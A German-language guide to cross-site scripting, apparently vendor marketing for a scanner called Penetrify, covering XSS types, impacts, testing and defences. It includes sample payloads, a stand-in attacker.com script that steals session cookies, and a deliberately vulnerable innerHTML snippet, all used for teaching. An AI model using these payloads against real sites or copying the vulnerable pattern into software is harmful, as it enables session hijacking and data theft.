Cross-Site Scripting (XSS) verstehen: Ein umfassender Leitfaden

Ihnen wurde versichert, dass Ihr modernes Web-Framework für Sicherheit sorgt, doch ein nagendes Gefühl bleibt. Ist Ihre Anwendung *wirklich* sicher vor einer der ältesten und hartnäckigsten Bedrohungen des Webs? Wenn ein Bericht über eine schwerwiegende Schwachstelle auf Ihrem Schreibtisch landet, kann es sich wie eine unmögliche Aufgabe anfühlen, dem Management das reale Risiko eines Angriffs wie Cross-Site Scripting (xss) zu erklären. Diese weit verbreitete Schwachstelle geht oft in technischem Jargon unter, so dass die Teams unsicher sind, wie sie ihre Benutzer und deren Daten am besten schützen können.
Dieser umfassende Leitfaden soll diese Verwirrung beseitigen. Wir werden die Funktionsweise von XSS-Angriffen anhand klarer, praktischer Beispiele entmystifizieren und die entscheidenden Unterschiede zwischen Reflected, Stored und DOM-basierten Schwachstellen aufzeigen. Sie gewinnen das nötige Selbstvertrauen, um effektive, mehrschichtige Abwehrmechanismen zu implementieren – von der korrekten Ausgabekodierung bis zur Beherrschung von Content Security Policies. Am Ende verfügen Sie über das Wissen und die Werkzeuge, um diese Schwachstellen zu finden, zu beheben und zu verhindern und so von Grund auf sicherere Webanwendungen zu entwickeln.
Wichtigste Erkenntnisse
- Verstehen Sie die Kernmechanismen eines Angriffs, bei dem ein Bedrohungsakteur Ihre Website dazu bringt, bösartigen Code an einen ahnungslosen Benutzer auszuliefern.
- Lernen Sie, zwischen den drei Haupttypen – Reflected, Stored und DOM-basiert – zu unterscheiden, um die größten Risiken Ihrer Anwendung zu identifizieren.
- Erfassen Sie die realen Auswirkungen einer erfolgreichen Ausnutzung, von Session Hijacking und dem Diebstahl von Anmeldeinformationen bis hin zur Verunstaltung von Websites.
- Entdecken Sie eine Checkliste mit wichtigen Präventionstechniken für Entwickler, denn eine mehrschichtige Abwehr ist der einzige Weg, xss effektiv zu stoppen.
Wie XSS-Angriffe funktionieren: Die Kernmechanismen erklärt
Im Kern ist ein Cross-Site Scripting (XSS)-Angriff eine Täuschung. Stellen Sie sich eine vertrauenswürdige Website als einen zuverlässigen Boten vor. Ein Angreifer findet einen Weg, diesen Boten dazu zu bringen, ein bösartiges Paket – ein Stück schädlichen JavaScript-Codes – an einen ahnungslosen Benutzer auszuliefern. Wenn der Webbrowser des Benutzers dieses Paket empfängt, stellt er fest, dass es von der vertrauenswürdigen Website stammt, und führt den Code ohne Frage aus, wodurch die Sicherheit des Benutzers gefährdet wird.
Diese Beziehung bildet das klassische Dreieck Angreifer-Opfer-Website. Der Angreifer zielt nicht direkt auf den Server der Website ab, sondern nutzt eine Schwachstelle in der Website aus, um eine Payload an den Browser des Opfers zu liefern.
Um dieses Konzept besser zu verstehen, sehen Sie sich diese hilfreiche Videoanalyse an:
Webbrowser basieren auf einem grundlegenden Sicherheitsprinzip, der Same-Origin Policy, die verhindert, dass Skripte von einer Website auf Daten einer anderen zugreifen. Diese Richtlinie bedeutet, dass Ihr Browser allen Skripten, die von der von Ihnen besuchten Domain bereitgestellt werden, von Natur aus vertraut. Eine Cross-Site Scripting (XSS)-Schwachstelle bricht dieses Vertrauen. Durch das Einschleusen von unbefugtem Code in eine legitime Webseite erweckt der Angreifer den Eindruck, dass das bösartige Skript von der vertrauenswürdigen Quelle stammt, wodurch es vollen Zugriff auf die Daten dieser Website im Browser des Benutzers erhält.
Warum wird es 'Cross-Site' Scripting genannt?
Der Name stammt von frühen Proof-of-Concept-Angriffen, bei denen ein Skript auf der bösartigen Website eines Angreifers mit einer anfälligen Website interagieren und diese steuern konnte, die in einem anderen Fenster oder Frame geöffnet war, wodurch die "Site"-Grenze buchstäblich überschritten wurde. Obwohl viele moderne xss-Angriffe in sich geschlossen innerhalb einer einzigen anfälligen Site stattfinden (z. B. über einen bösartigen Link oder einen gespeicherten Kommentar), hat sich der ursprüngliche Name als Industriestandard für diese Art von clientseitiger Code-Injection-Schwachstelle eingebürgert.
Das Ziel des Angreifers: Vom Streich zum Profit
Was einst für einfache Streiche verwendet wurde, wie z. B. die Anzeige eines Pop-up-Warnfelds, hat sich zu einem ernsthaften Werkzeug für Cyberkriminelle entwickelt. Das oberste Ziel ist fast immer die Kompromittierung des Benutzerkontos oder der Daten zum finanziellen Vorteil oder zur weiteren Ausbeutung. Zu den häufigsten Zielen gehören:
- Session Hijacking: Stehlen der Session-Cookies eines Benutzers, um sich als dieser auszugeben und unbefugten Zugriff auf sein Konto zu erhalten.
- Diebstahl von Anmeldeinformationen: Verwenden gefälschter Anmeldeformulare oder Keylogger, um Benutzernamen, Passwörter und andere sensible Informationen zu erfassen.
- Phishing: Umleiten von Benutzern auf eine bösartige Website, die vom Angreifer kontrolliert wird, um persönliche Daten zu sammeln.
- Website-Defacement: Ändern des Inhalts einer Webseite, um unbefugte Nachrichten oder Bilder anzuzeigen und so den Ruf der Website zu schädigen.
Die drei Haupttypen von XSS: Beispiele und Szenarien
Cross-Site Scripting-Schwachstellen sind kein Monolith; sie werden danach kategorisiert, wie die bösartige Payload geliefert und ausgeführt wird. Die drei Haupttypen sind Reflected, Stored und DOM-basiertes XSS. Obwohl sich ihre Mechanismen unterscheiden, sind die potenziellen Auswirkungen – von Session Hijacking bis zum Datendiebstahl – unabhängig vom Typ gravierend. Es ist auch üblich, dass eine einzelne Anwendung für mehrere Formen von xss-Angriffen anfällig ist.
| Typ | Payload-Speicherung | Liefermethode |
|---|---|---|
| Reflected XSS | Nicht gespeichert; vom Server reflektiert | Bösartiger Link (z. B. E-Mail, Social Media) |
| Stored XSS | Permanent auf dem Server gespeichert | In eine Datenbank injiziert (z. B. Kommentare, Profile) |
| DOM-basiertes XSS | Nicht gespeichert; existiert im clientseitigen Code | URL-Fragmente oder clientseitige Datenmanipulation |
Reflected XSS (Nicht-Persistent)
Bei einem Reflected XSS-Angriff wird ein bösartiges Skript an einen Webserver gesendet, typischerweise über einen URL-Parameter, und dann an den Browser des Benutzers reflektiert. Die Payload wird nicht auf dem Server gespeichert, wodurch sie "nicht-persistent" ist. Ein Angreifer bringt einen Benutzer oft dazu, auf einen präparierten Link zu klicken, wie z. B. eine Suchanfrage, die ein Skript enthält:
https://example-shop.com/search?q=<script>alert('Ihre Sitzung wurde kompromittiert');</script>
Wenn das Opfer auf diesen Link klickt, fügt der Server das Skript in die Antwort ein, und der Browser führt es aus.
Stored XSS (Persistent)
Stored XSS ist oft die gefährlichste Art, da das bösartige Skript dauerhaft auf dem Zielserver gespeichert wird, z. B. in einer Datenbank. Jeder Benutzer, der die infizierte Seite aufruft, wird zum Opfer. Ein häufiges Szenario ist, dass ein Angreifer einen bösartigen Kommentar in einem Blog veröffentlicht:
<p>Toller Beitrag! <script src="http://attacker.com/cookie-stealer.js"></script></p>
Der Server speichert diesen Kommentar, und das Skript wird im Browser jedes nachfolgenden Besuchers ausgeführt, wodurch potenziell deren Session-Cookies gestohlen werden.
DOM-basiertes XSS
DOM-basiertes XSS tritt auf, wenn eine Schwachstelle vollständig im clientseitigen Code vorhanden ist. Der Server ist nicht direkt beteiligt; die Anwendung verarbeitet Daten aus einer vom Benutzer steuerbaren Quelle, wie z. B. einem URL-Fragment, unsicher und schreibt sie in das Document Object Model (DOM). Dies ist in modernen Single-Page Applications (SPAs) üblich. So ist beispielsweise JavaScript, das einen Namen aus dem URL-Hash entnimmt und ihn in die Seite einfügt, anfällig:
const user = window.location.hash.substring(1); document.getElementById('greeting').innerHTML = 'Hallo, ' + user;
Die realen Auswirkungen: Was kann ein Angreifer tatsächlich tun?
Eine Cross-Site Scripting-Schwachstelle ist weit mehr als nur ein theoretischer Fehler; sie ist ein leistungsstarker Einstiegspunkt für Angreifer, um Benutzerkonten zu kompromittieren und vertrauenswürdige Websites zu manipulieren. Da das bösartige Skript im Kontext einer vertrauenswürdigen Domain ausgeführt wird, erbt es die Berechtigungen dieser Domain und den Zugriff auf sensible Daten. Dieser grundlegende Vertrauensbruch macht einen xss-Angriff so gefährlich.
Die Geschichte ist voll von Beispielen, in denen große Plattformen, von MySpace bis eBay, XSS zum Opfer gefallen sind. Diese Vorfälle zeigen, dass die Auswirkungen von weit verbreiteten Streichen bis hin zu schweren Datenschutzverletzungen reichen. Die Ziele eines Angreifers lassen sich in mehrere Schlüsselbereiche unterteilen:
Session Hijacking und Identitätsdiebstahl
Wenn Sie sich anmelden, gibt eine Website Ihrem Browser ein Session-Cookie, um sich an Sie zu erinnern. Dieses Cookie ist ein Schlüssel zu Ihrem Konto. Ein Angreifer kann ein Skript einschleusen, um es zu stehlen, oft mit einer einzigen Codezeile wie <script>document.location='http://attacker.com/log?c=' + document.cookie;</script>. Sobald er Ihr Cookie hat, kann er es in seinen eigenen Browser einfügen und vollen Zugriff auf Ihre Sitzung erhalten – kein Passwort erforderlich. Er kann Ihre Nachrichten lesen, Ihre Einstellungen ändern oder Transaktionen initiieren, als wäre er Sie.
Diebstahl von Anmeldeinformationen und Phishing
XSS ermöglicht überzeugende Phishing-Angriffe. Anstatt Sie auf eine gefälschte Domain zu locken, kann ein Angreifer:
- Ein Skript einschleusen, das ein gefälschtes Anmeldeformular direkt auf der legitimen Website erstellt.
- Die von Ihnen eingegebenen Anmeldeinformationen erfassen, da das Formular an seinen Server übermittelt wird.
- Ein Keylogger-Skript verwenden, um jeden Tastenanschlag auf der kompromittierten Seite aufzuzeichnen.
Da die URL in der Adressleiste des Browsers korrekt und vertrauenswürdig ist, ist es wahrscheinlicher, dass Benutzer dazu verleitet werden, ihren Benutzernamen und ihr Passwort preiszugeben.
Website-Defacement und Malware-Verbreitung
In einigen Fällen ist es das Ziel eines Angreifers, den Ruf einer Marke zu schädigen. Sie können XSS verwenden, um den Inhalt einer Website zu verändern und ihn durch eigene Nachrichten oder Bilder zu ersetzen. Gefährlicher ist, dass sie eine vertrauenswürdige Website in eine Waffe verwandeln können. Durch das Einschleusen eines bösartigen Skripts können sie Benutzer stillschweigend auf eine Website umleiten, die Malware hostet oder einen "Drive-by-Download" auslöst, wodurch der Computer des Benutzers ohne dessen Wissen infiziert wird. Ihre Website wird unbeabsichtigt zu einem Verteilungszentrum für Cyberbedrohungen.
So finden und testen Sie XSS-Schwachstellen
Bevor Sie Cross-Site Scripting verhindern können, müssen Sie zunächst feststellen, wo Ihre Anwendung anfällig ist. Eine robuste Teststrategie ist von grundlegender Bedeutung, um potenzielle xss-Fehler aufzudecken und Ihre Benutzer zu schützen, bevor bösartiger Code die Produktion erreicht. Der effektivste Ansatz kombiniert zwei Schlüsselmethoden: sorgfältige manuelle Tests und skalierbares automatisiertes Scannen. Die Integration dieser Kontrollen in Ihre CI/CD-Pipeline stellt sicher, dass Sicherheit ein kontinuierlicher Prozess ist, keine einmalige Angelegenheit.
Manuelle Testtechniken
Manuelle Tests beinhalten, dass ein Sicherheitsexperte eine Anwendung aktiv auf Schwachstellen untersucht. Mit den Entwicklertools des Browsers können Sie das DOM inspizieren und JavaScript in Echtzeit manipulieren. Ziel ist es, bösartige Payloads in Eingabefelder einzugeben – wie Suchleisten, Benutzerprofile oder Kommentarformulare – und zu beobachten, ob die Anwendung sie ausführt. Es ist wichtig zu überprüfen, wie Ihre Eingabe in verschiedenen Kontexten reflektiert wird, z. B. innerhalb von HTML-Tags, Elementattributen oder vorhandenen JavaScript-Blöcken.
Gängige Payloads für Tests sind:
<script>alert('XSS')</script>- Der klassische Proof-of-Concept.<img src=x onerror=alert(1)>- Eine Payload, die innerhalb eines HTML-Event-Handlers ausgeführt wird.<svg/onload=alert(document.domain)>- Ein alternativer Vektor mit SVG-Elementen.
Für eine detailliertere Analyse ermöglichen Proxy-Tools wie Burp Suite oder OWASP ZAP das Abfangen, Modifizieren und Wiedergeben von HTTP-Anfragen, wodurch Sie die an den Server gesendeten Daten detailliert steuern können.
Automatisiertes Scannen auf Schwachstellen
Manuelle Tests sind zwar leistungsstark, aber zeitaufwändig, erfordern umfassende Expertise und lassen sich nicht auf große, moderne Anwendungen skalieren. Hier kommen automatisierte Scanner ins Spiel. Diese Tools durchforsten Ihre Webanwendung systematisch und testen jeden Endpunkt, Parameter und jedes Eingabefeld auf Tausende von Schwachstellenvarianten, und zwar viel schneller und konsistenter, als ein Mensch es jemals könnte.
Moderne, KI-gestützte Scanner lassen sich direkt in Ihren Entwicklungs-Workflow integrieren und geben Entwicklern innerhalb ihrer vorhandenen Tools sofortiges Feedback. Sie verwenden intelligente Analysen, um komplexe, verkettete und gespeicherte XSS-Schwachstellen aufzudecken, die von traditionellen Methoden oft übersehen werden. Durch die Automatisierung des Erkennungsprozesses kann sich Ihr Team auf die Behebung und nicht auf die Erkennung konzentrieren. Erfahren Sie, wie Penetrify XSS in wenigen Minuten automatisch erkennt.
So verhindern Sie XSS: Eine defensive Checkliste für Entwickler
Es gibt keine einzelne Patentlösung, um Cross-Site Scripting zu stoppen. Eine robuste Abwehr gegen xss erfordert einen mehrschichtigen Sicherheitsansatz, der mehrere sich ergänzende Techniken kombiniert. Durch die Implementierung der folgenden Strategien können Sie die Angriffsfläche Ihrer Anwendung deutlich reduzieren.
Ausgabekodierung: Die primäre Verteidigung
Die grundlegende Regel der XSS-Prävention ist, alle Daten von Benutzern oder externen Quellen als nicht vertrauenswürdig zu behandeln. Bevor Sie diese Daten in einem Browser darstellen, müssen Sie alle potenziell schädlichen Zeichen durch kontextuelle Ausgabekodierung neutralisieren. Das bedeutet, dass Sie Daten unterschiedlich kodieren, je nachdem, wo sie platziert werden: innerhalb von HTML-Tags, innerhalb von HTML-Attributen, in JavaScript oder in einer URL.
- Tun Sie: Verwenden Sie vertrauenswürdige, gut gewartete Bibliotheken für die Kodierung. Verwenden Sie beispielsweise in PHP die integrierte Funktion:
htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8'); - Unterlassen Sie: Versuchen Sie nicht, Ihre eigenen Kodierungs- oder Bereinigungsfunktionen zu schreiben. Es ist leicht, Edge Cases zu übersehen, die Angreifer ausnutzen können.
Content Security Policy (CSP): Der moderne Schutz
Eine Content Security Policy (CSP) ist eine leistungsstarke Sicherheitsstufe auf Browserebene. Es handelt sich um einen HTTP-Antwortheader, der den Browser anweist, nur Ressourcen (wie Skripte, Bilder und Stile) aus explizit zugelassenen Quellen zu laden. Selbst wenn ein Angreifer erfolgreich ein bösartiges Skript einschleust, verhindert eine korrekte CSP dessen Ausführung durch den Browser.
Beispiel für einen CSP-Header: Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com;
Diese Richtlinie weist den Browser an, nur Ressourcen aus demselben Ursprung ('self') zu vertrauen und nur Skripte aus der eigenen Domain und einem vertrauenswürdigen CDN auszuführen.
Frameworks und sichere Programmierpraktiken
Moderne Web-Frameworks wie React, Angular und Vue verfügen über integrierte Schutzmechanismen gegen XSS. Sie kodieren automatisch Daten, die in der Ansicht dargestellt werden, wodurch die meisten Anwendungsfälle sicher behandelt werden. Entwickler können diese Schutzmechanismen jedoch versehentlich umgehen.
- Tun Sie: Verlassen Sie sich auf die standardmäßigen Datenbindungsfunktionen Ihres Frameworks.
- Unterlassen Sie: Verwenden Sie keine potenziell gefährlichen Funktionen wie Reacts
dangerouslySetInnerHTMLoder AngulasbypassSecurityTrustHtml, ohne die Risiken vollständig zu verstehen und die Eingabe zuerst zu bereinigen. - Tun Sie: Halten Sie alle Frameworks, Bibliotheken und Abhängigkeiten auf dem neuesten Stand, um sicherzustellen, dass Sie über die neuesten Sicherheitspatches verfügen.
Der Aufbau dieser defensiven Schichten in Ihren Entwicklungslebenszyklus ist von entscheidender Bedeutung. Proaktive Prävention und regelmäßige Sicherheitstests sind die Eckpfeiler für die Aufrechterhaltung einer sicheren Anwendung.
Von der Schwachstelle zur Wachsamkeit: Sichern Sie Ihre Anwendung
Das Verständnis von Cross-Site Scripting ist der erste entscheidende Schritt, um sich dagegen zu verteidigen. Wir haben untersucht, wie Angreifer Benutzereingaben ausnutzen, die verschiedenen Mechanismen von Stored-, Reflected- und DOM-basierten Angriffen und die schwerwiegenden Auswirkungen, die sie auf Ihre Benutzer und Ihren Ruf haben können. Der Schlüssel zur Prävention liegt in einer mehrschichtigen Verteidigung, von der strengen Eingabevalidierung bis hin zur kontextbezogenen Ausgabekodierung. Das proaktive Erkennen und Beheben von xss-Fehlern ist nicht nur eine Best Practice; es ist für die moderne Websicherheit unerlässlich.
Aber manuelle Überprüfungen reichen oft nicht aus. Lassen Sie XSS nicht in Ihrem Code lauern. Erhalten Sie einen kostenlosen, automatisierten Sicherheitsscan mit Penetrify. Unser KI-gestütztes Scannen findet, was andere übersehen, und bietet eine kontinuierliche Überwachung für Ihre Entwicklungspipeline. Durch die Erkennung aller OWASP Top 10-Schwachstellen ermöglichen wir Ihnen, mit Zuversicht zu entwickeln und bereitzustellen.
Übernehmen Sie die Kontrolle über die Sicherheit Ihrer Anwendung und beginnen Sie noch heute mit dem Aufbau einer widerstandsfähigeren und vertrauenswürdigeren digitalen Erfahrung.
Häufig gestellte Fragen
Was ist der Unterschied zwischen XSS und CSRF (Cross-Site Request Forgery)?
XSS (Cross-Site Scripting) und CSRF (Cross-Site Request Forgery) nutzen beide den Browser eines Benutzers aus, jedoch auf unterschiedliche Weise. XSS schleust bösartigen Code in eine vertrauenswürdige Website ein, der dann im Browser des Benutzers ausgeführt wird. Dies ermöglicht es Angreifern, Daten wie Session-Cookies zu stehlen. CSRF hingegen bringt den Browser eines authentifizierten Benutzers dazu, eine unbeabsichtigte, bösartige Anfrage an eine Webanwendung zu senden, z. B. das Ändern eines Passworts oder das Tätigen eines Kaufs ohne die Zustimmung des Benutzers.
Ist XSS auch im Jahr 2026 mit modernen Web-Frameworks noch ein ernstes Problem?
Ja, XSS bleibt auch mit modernen Frameworks wie React oder Angular eine erhebliche Bedrohung. Obwohl diese Frameworks über integrierte Schutzmechanismen verfügen, wie z. B. die automatische Ausgabekodierung, sind sie nicht narrensicher. Entwickler können diese Funktionen versehentlich deaktivieren oder durch die unsachgemäße Verwendung bestimmter Funktionen Schwachstellen einführen. Sorgfältige Sicherheitspraktiken, einschließlich Code Reviews und Penetration Testing, sind weiterhin unerlässlich, um zu verhindern, dass xss-Schwachstellen in Produktionsanwendungen gelangen und Sicherheitsvorfälle verursachen.
Verhindert die Verwendung von HTTPS XSS-Angriffe?
Nein, HTTPS verhindert keine XSS-Angriffe. HTTPS verschlüsselt die Daten, die zwischen dem Browser eines Benutzers und dem Webserver übertragen werden, und schützt sie so vor dem Abhören oder Man-in-the-Middle-Angriffen. Ein XSS-Angriff schleust jedoch bösartigen Code direkt in die Antwort der Anwendung ein. HTTPS wird diese bösartige Payload pflichtgemäß verschlüsseln und an den Browser liefern, so wie es jeden legitimen Inhalt tun würde. Die XSS-Prävention erfordert serverseitige Eingabevalidierung und Ausgabekodierung, nicht nur Sicherheit auf Transportebene.
Kann ein XSS-Angriff Informationen vom Computer eines Benutzers stehlen?
Ein XSS-Angriff operiert innerhalb der Security Sandbox des Browsers und kann nicht direkt auf Dateien auf dem lokalen Computer eines Benutzers zugreifen. Er kann jedoch alle Informationen stehlen, auf die der Browser selbst für diese bestimmte Website zugreifen kann. Dazu gehören sensible Daten wie Session-Cookies, Authentifizierungs-Token und alle persönlichen Informationen, die in Formulare auf der kompromittierten Seite eingegeben werden. Durch das Stehlen eines Session-Cookies kann ein Angreifer oft die Identität des Benutzers vollständig annehmen und dessen Konto übernehmen.
Wie hilft eine Web Application Firewall (WAF) bei der Verhinderung von XSS?
Eine Web Application Firewall (WAF) bietet eine kritische Verteidigungsschicht, indem sie den eingehenden HTTP-Traffic auf bösartige Muster untersucht. Sie verwendet eine Reihe von Regeln, um bekannte XSS-Angriffsvektoren zu identifizieren und zu blockieren, wie z. B. Anfragen, die verdächtige Skript-Tags oder JavaScript-Event-Handler enthalten, bevor sie jemals Ihre Anwendung erreichen. Eine WAF ist zwar kein Ersatz für sichere Programmierpraktiken, aber sehr effektiv, um gängige, automatisierte Angriffe herauszufiltern und vor bekannten Schwachstellen zu schützen.
Sind APIs auch anfällig für XSS-Angriffe?
Ja, APIs können ein Vektor für Stored XSS-Angriffe sein. Wenn ein API-Endpunkt vom Benutzer bereitgestellte Daten ohne ordnungsgemäße Bereinigung akzeptiert und speichert, können diese Daten ein bösartiges Skript enthalten. Wenn eine Client-Anwendung, wie z. B. eine Single-Page-App, diese Daten später abruft und ohne Kodierung darstellt, wird das Skript im Browser des Endbenutzers ausgeführt. Die Sicherung von APIs erfordert die gleichen strengen Prinzipien der Eingabevalidierung und Ausgabekodierung wie herkömmliche Webanwendungen, um xss zu verhindern.